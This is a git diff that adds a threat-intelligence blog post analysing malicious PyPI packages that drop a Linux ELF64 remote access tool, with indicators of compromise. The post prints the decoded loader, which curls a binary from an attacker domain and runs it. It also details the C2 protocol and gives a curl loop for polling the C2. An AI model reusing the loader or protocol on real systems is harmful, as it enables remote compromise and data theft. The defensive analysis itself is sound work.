diff --git a/public/images/elf64-blog/fig-1-hex-string.png b/public/images/elf64-blog/fig-1-hex-string.png new file mode 100644 index 0000000..d1677a0 Binary files /dev/null and b/public/images/elf64-blog/fig-1-hex-string.png differ diff --git a/public/images/elf64-blog/fig-10-beacon-pcap.png b/public/images/elf64-blog/fig-10-beacon-pcap.png new file mode 100644 index 0000000..64d47f5 Binary files /dev/null and b/public/images/elf64-blog/fig-10-beacon-pcap.png differ diff --git a/public/images/elf64-blog/fig-11-payload-receipt.png b/public/images/elf64-blog/fig-11-payload-receipt.png new file mode 100644 index 0000000..7946a28 Binary files /dev/null and b/public/images/elf64-blog/fig-11-payload-receipt.png differ diff --git a/public/images/elf64-blog/fig-12-payload-patch.png b/public/images/elf64-blog/fig-12-payload-patch.png new file mode 100644 index 0000000..2e97453 Binary files /dev/null and b/public/images/elf64-blog/fig-12-payload-patch.png differ diff --git a/public/images/elf64-blog/fig-13-regaining-control-flow.png b/public/images/elf64-blog/fig-13-regaining-control-flow.png new file mode 100644 index 0000000..90ac898 Binary files /dev/null and b/public/images/elf64-blog/fig-13-regaining-control-flow.png differ diff --git a/public/images/elf64-blog/fig-14-burp-request-monitoring.png b/public/images/elf64-blog/fig-14-burp-request-monitoring.png new file mode 100644 index 0000000..59ee056 Binary files /dev/null and b/public/images/elf64-blog/fig-14-burp-request-monitoring.png differ diff --git a/public/images/elf64-blog/fig-15-request-response.png b/public/images/elf64-blog/fig-15-request-response.png new file mode 100644 index 0000000..e1332c6 Binary files /dev/null and b/public/images/elf64-blog/fig-15-request-response.png differ diff --git a/public/images/elf64-blog/fig-2-xweb-log.png b/public/images/elf64-blog/fig-2-xweb-log.png new file mode 100644 index 0000000..0a43423 Binary files /dev/null and b/public/images/elf64-blog/fig-2-xweb-log.png differ diff --git a/public/images/elf64-blog/fig-3-xweb-source.png b/public/images/elf64-blog/fig-3-xweb-source.png new file mode 100644 index 0000000..2384cb4 Binary files /dev/null and b/public/images/elf64-blog/fig-3-xweb-source.png differ diff --git a/public/images/elf64-blog/fig-4-ping-sleep.png b/public/images/elf64-blog/fig-4-ping-sleep.png new file mode 100644 index 0000000..749f9e6 Binary files /dev/null and b/public/images/elf64-blog/fig-4-ping-sleep.png differ diff --git a/public/images/elf64-blog/fig-5-ping-immediate.png b/public/images/elf64-blog/fig-5-ping-immediate.png new file mode 100644 index 0000000..b6e100f Binary files /dev/null and b/public/images/elf64-blog/fig-5-ping-immediate.png differ diff --git a/public/images/elf64-blog/fig-6-msg-down.png b/public/images/elf64-blog/fig-6-msg-down.png new file mode 100644 index 0000000..1a8ba1d Binary files /dev/null and b/public/images/elf64-blog/fig-6-msg-down.png differ diff --git a/public/images/elf64-blog/fig-7-msg-up.png b/public/images/elf64-blog/fig-7-msg-up.png new file mode 100644 index 0000000..9baf7dc Binary files /dev/null and b/public/images/elf64-blog/fig-7-msg-up.png differ diff --git a/public/images/elf64-blog/fig-8-msg-cmd.png b/public/images/elf64-blog/fig-8-msg-cmd.png new file mode 100644 index 0000000..3088023 Binary files /dev/null and b/public/images/elf64-blog/fig-8-msg-cmd.png differ diff --git a/public/images/elf64-blog/fig-9-msg-run.png b/public/images/elf64-blog/fig-9-msg-run.png new file mode 100644 index 0000000..03c9775 Binary files /dev/null and b/public/images/elf64-blog/fig-9-msg-run.png differ diff --git a/src/assets/images/network-rat.jpg b/src/assets/images/network-rat.jpg new file mode 100644 index 0000000..7545801 Binary files /dev/null and b/src/assets/images/network-rat.jpg differ diff --git a/src/content/post/elf64-rat-malware.md b/src/content/post/elf64-rat-malware.md new file mode 100644 index 0000000..02c4005 --- /dev/null +++ b/src/content/post/elf64-rat-malware.md @@ -0,0 +1,288 @@ +--- +publishDate: 2024-02-29T00:00:00Z +title: Novel ELF64 Remote Access Tool Embedded in Malicious PyPI Uploads +excerpt: Analyzing a Linux-targeted malware campaign on the Python Package Index. +category: Threat Intelligence +image: ~/assets/images/network-rat.jpg +tags: + - malware + - threat intelligence +--- + +## Introduction + +On 19 February, Vipyr Security scanning services notified us of a malicious upload to the Python Package Index (PyPI) by +the name `real-ids`. This Python package, and subsequent uploads attributed to the same threat actor, contains 'remote +access tool' capabilities-- that is, remote code execution, remote file upload and download, and a beaconing service to +an HTTPS-based C2. + +**Malicious Packages:** + +| Package | Upload Time (UTC) | +| ------------------- | -------------------------- | +| real-ids@0.0.1 | 2024-02-19T13:47Z | +| real-ids@0.0.2 | 2024-02-19T13:52Z | +| real-ids@0.0.3 | 2024-02-20T01:43Z | +| real-ids@0.0.4 | 2024-02-20T02:24Z | +| real-ids@0.0.5 | 2024-02-20T02:30Z | +| coloredtxt@0.0.1 | 2024-02-20T07:27Z (Benign) | +| coloredtxt@0.0.2 | 2024-02-20T08:55Z | +| beautifultext@0.0.1 | 2024-02-20T11:17Z | +| minisound@0.0.1 | 2024-02-21T12:51Z (Benign) | +| minisound@0.0.2 | 2024-02-28T12:43Z | + +## Analysis + +### Staging + +The malicious payload is placed in `os.py` files within typos of popular packages. During the initialization of these +packages, this `os` module is imported, executing the payload. Payload occurs in a string of multiple base64 +or hex encoding, although base64 was only observed in `coloredtxt@0.0.2`. The threat actors' obfuscation technique is +fairly novice compared to others, as they don't make any attempt to try and circumvent our detection mechanisms each +iteration. + +![Hex-encoded stage 1 payload](/images/elf64-blog/fig-1-hex-string.png) + +_Hex-encoded stage 1 payload_ + +```python +platform = sys.platform[0:1] +print(sys.argv[0]) +if platform != "w": + try: + url = 'hxxps://arcashop.org/boards.php?type=' + platform + local_filename = os.environ['HOME'] + '/oshelper' + os.system("curl --silent " + url + " --cookie 'oshelper_session=10237477354732022837433' --output " + local_filename) + sleep(3) + + os.system("chmod +x " + local_filename) + os.system(local_filename + " > /dev/null 2>&1 &") + except ZeroDivisionError as error: + sleep(0) + finally: + sleep(0) +``` + +_Stage 1 payload after decoding_ + +The payload is downloaded from the `pypi[.]online` or `arcashop[.]org` domain. `cURL` is invoked with `os.system` with +the `oshelper_session` cookie set to `10237477354732022837433`. Interestingly, the malware seems to only target Linux +systems. If the platform is set to Windows, it will not execute. + +The two endpoints are both in a similar format, with the differences being the domain name and PHP file name. In both +examples, the URL ends with the parameter `type`, which should always be `l` for the Linux platform. + +- `hxxps://pypi[.]online/cloud.php?type=` +- `hxxps://arcashop[.]org/boards.php?type=` + +These endpoints were resistant to many of our attempts to download the payload, even when accessing from mobile, +residential, cloud, and business/education IP addresses. We're still unsure how we got a payload to fall out, as it +seemed to happen by chance. + +### Binary analysis + +The payload itself is an ELF binary targeting the x86_64 CPU architecture. The binary appears to have statically linked +`libcurl`, but isn't stripped, so we can still view the function names! + +- **XEncoding**: An XOR encryption and decryption function with a custom key. +- **AcceptRequest**: Retrieves commands from the C2, decrypts them and performs actions. +- **FConnectProxy**: Resolves user parameters for `SendPost` function and time seeds random sources. +- **SendPost**: Primary function to send and receive data. + +During the analysis, the following headers were discovered: + +```http +User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.36 +Content-Type: application/x-www-form-urlencoded +Accept: image/gif, image/x-bitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* +Connection: Keep-Alive +``` + +With these headers, the data is sent in the following format: + +```plaintext +lkjyhnmiop=%s&odldjshrn=%s&ikdiwoep=%s +``` + +If the request is unsuccessful, it will log the error to `/tmp/xweb_log.md`: + +![Errors logged in xweb_log.md](/images/elf64-blog/fig-2-xweb-log.png) + +![Code logging errors to xweb_log.md](/images/elf64-blog/fig-3-xweb-source.png) + +The commands uncovered during the analysis are a simple set of commands allowing the adversary to upload files, download +files, check if an agent is alive, make the agent wait 4 hours, and run commands & retrieve the output from them. + +- **Ping1** (`0x892`): Send a 'Success' response to the C2 and wait 4 hours before polling the C2 again + +![Code sending a 'Success' response to the C2 and then waiting 4 hours before polling the C2 again](/images/elf64-blog/fig-4-ping-sleep.png) + +- **Ping2** (`0x895`): Send a 'Success' response to the C2 and poll for another command instantly + +![Code sending a 'Success' response to the C2 and polling for another command instantly](/images/elf64-blog/fig-5-ping-immediate.png) + +- **MsgDown** (`0x893`): Upload files + +![Code uploading files](/images/elf64-blog/fig-6-msg-down.png) + +- **MsgUp** (`0x894`): Download files + +![Code downloading files](/images/elf64-blog/fig-7-msg-up.png) + +- **MsgCmd** (`0x898`): Run command with commandline `%s 2>&1 &` and send results back to the C2 + +![Code running command and sending results back to the C2](/images/elf64-blog/fig-8-msg-cmd.png) + +- **MsgRun** (`0x897`): Run command with commandline `%s 2>&1 &` and do not send results to the C2 + +![Code running command and not sending results to the C2](/images/elf64-blog/fig-9-msg-run.png) + +Simple analysis of the protocol used to communicate to the C2 reveals it uses `libcurl` to perform http requests. + +The payload will respond with two codes back to the API: + +- `0x89a`: Success +- `0x89b`: Failure + +The payload will beacon to `hxxps://jdkgradle[.]com/jdk/update/check` every 100 seconds to receive commands from the C2. +Here's a snippet of a packet capture we took while analyzing the malware. + +![Packet capture showing traffic with beacon](/images/elf64-blog/fig-10-beacon-pcap.png) + +### C2 Activity Analysis + +To further analyze the intentions of the threat actors, we decided to log commands from the C2. There were three ways +that we could go about this: binary patching, implementing the C2 protocol, or debugging. Since we'd not done extensive +analysis on the C2 protocol and binary patching is generally a hard thing to do, we chose to debug the binary. + +Since we wanted to extract any decrypted C2 payload responses, we chose to break just after the `RecvPayload()` function +was called in the `AcceptRequest()` function. After some extra testing, we decided we wanted to extract the responses +that the client was sending back to the server, so we chose to break at the `SendPayload()` function too. + +![Code receiving payload from the C2](/images/elf64-blog/fig-11-payload-receipt.png) + +To extract the decrypted payload, all we needed to do was print the first argument of the `RecvPayload()` call, which +would be populated with the decrypted payload. We can find this linked to the `rbx` register at instruction +`0x00404f3c`. For `SendPayload()`, since symbols weren't stripped from the binary, we only needed to refer to the symbol +`SendPayload`. + +![Disassembly of the code receiving payload from the C2](/images/elf64-blog/fig-12-payload-patch.png) + +To do this, we wrote the following `gdb` script and ran it with `gdb ./local_file --command=script.gdb`. + +```bash +break *SendPayload +commands +p *$rdi +c +end +break *0x00404f4f +commands +x/128x $rbx +c +end +set logging on +r +``` + +To date, we have only observed the command `0x892`, which translates to the `Ping1` command and the `2202` client +response, or `0x89a`, which translates to the 'Success' response. + +After running this and waiting for for the C2 to beacon again, we had another look at the code for `AcceptRequest()` +function and found it waited 4 hours each time. This prompted us to patch this particular branch and multiply the sleep +time by `0` instead of `60` (`0x3c`), which made it much easier for us to monitor the agent in real time. + +### C2 Protocol Analysis + +To analyze the network traffic, which was encrypted over SSL, we set up Burp Suite as a proxy to capture the underlying +HTTP requests from the agent. The Burp Suite setup was simple, as we only had the free version, and we only changed the +target to `jdkgradle[.]com`, so we could capture server responses. To forward requests through the Burp Suite proxy, the +`https_proxy` environment variable was used. Since the backend was `cURL`, we knew it would check for proxy environment +variables before sending each request and send it via the proxy. By default, it didn't seem to check the authenticity of +the server certificate either, which allowed us to MITM with ease. + +![Screenshot of Burp Suite monitoring requests with the C2](/images/elf64-blog/fig-14-burp-request-monitoring.png) + +After watching the traffic for some time, we gathered a general overview of the C2 protocol: + +```plaintext +# Initial connection +Agent -> C2: lkjyhnmiop=&odldjshrn=odlsjdfhw&ikdiwoep= (hello im alive) +C2 -> Agent: OK (success) + +Agent -> C2: lkjyhnmiop=&odldjshrn=dsaewqfewf (give me commands) +C2 -> Agent: +Agent -> C2: lkjyhnmiop=1059787080&odldjshrn=content&ikdiwoep= +``` + +During the testing, we could see the debug output as the network requests happened, and we were able to associate certain +activity with the network requests. + +![Screenshot of Burp Suite monitoring requests with the C2 juxtaposed with hex view of response](/images/elf64-blog/fig-15-request-response.png) + +This is why setting the target was important, as capturing server responses would be crucial, and it would allow us to +arbitrarily decode payloads received from the C2 through other means, such as using `cURL` to simulate the client. With +this script, we can simulate a fake client to pull commands from the C2. This allows us to log commands, including their +payloads, to a text file for later review. + +```bash +rm -f /tmp/log.txt +while [ 1 ]; do + curl --silent -k hxxps://jdkgradle[.]com/jdk/update/check \ + -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.36" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + -H "Accept: image/gif, image/x-bitmap, image/jpeg, image/pjepg, application/x-shockwave-flash, */*" \ + -d 'lkjyhnmiop=689321559&odldjshrn=odlsjdfhw&ikdiwoep=dUxxZhprM15UCmB%2B' + + RESP=$( + curl --silent -k hxxps://jdkgradle[.]com/jdk/update/check \ + -A "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.5786.212 Safari/537.36" \ + -H "Content-Type: application/x-www-form-urlencoded" -H "Accept: image/gif, image/x-bitmap, image/jpeg, image/pjepg, application/x-shockwave-flash, */*" \ + -d 'lkjyhnmiop=689321559&odldjshrn=dsaewqfewf' + ) + echo $(echo $RESP | md5sum):$RESP | tee -a /tmp/log.txt +done +``` + +## Closing Remarks + +All packages have been reported to and removed by the PyPI administrators. A special thanks to our friends at +[Phylum](https://www.phylum.io/) for helping us with the initial payload, security administrators at PyPI for their +rapid handling of our reports, and Vipyr Security community contributors for the reversal and analysis of the malicious +code. + +## Appendix + +- [Tria.ge report](https://tria.ge/240229-24b5hsfb2v) +- [Intezer analyze report](https://analyze.intezer.com/analyses/d4a4a5c5-ee86-43ec-a331-e80b2ce0f092) + +### Indicators of Compromise (IoCs) + +```json +[ + { + "type": "file", + "path": "/home/*/oshelper", + "sha256": "973f7939ea03fd2c9663dafc21bb968f56ed1b9a56b0284acf73c3ee141c053c", + "md5": "33c9a47debdb07824c6c51e13740bdfe" + }, + { + "type": "file", + "path": "/tmp/xweb_log.md", + "sha256": null, + "md5": null + }, + { + "type": "domain", + "name": "pypi[.]online" + }, + { + "type": "domain", + "name": "arcashop[.]org" + }, + { + "type": "domain", + "name": "jdkgradle[.]com" + } +] +```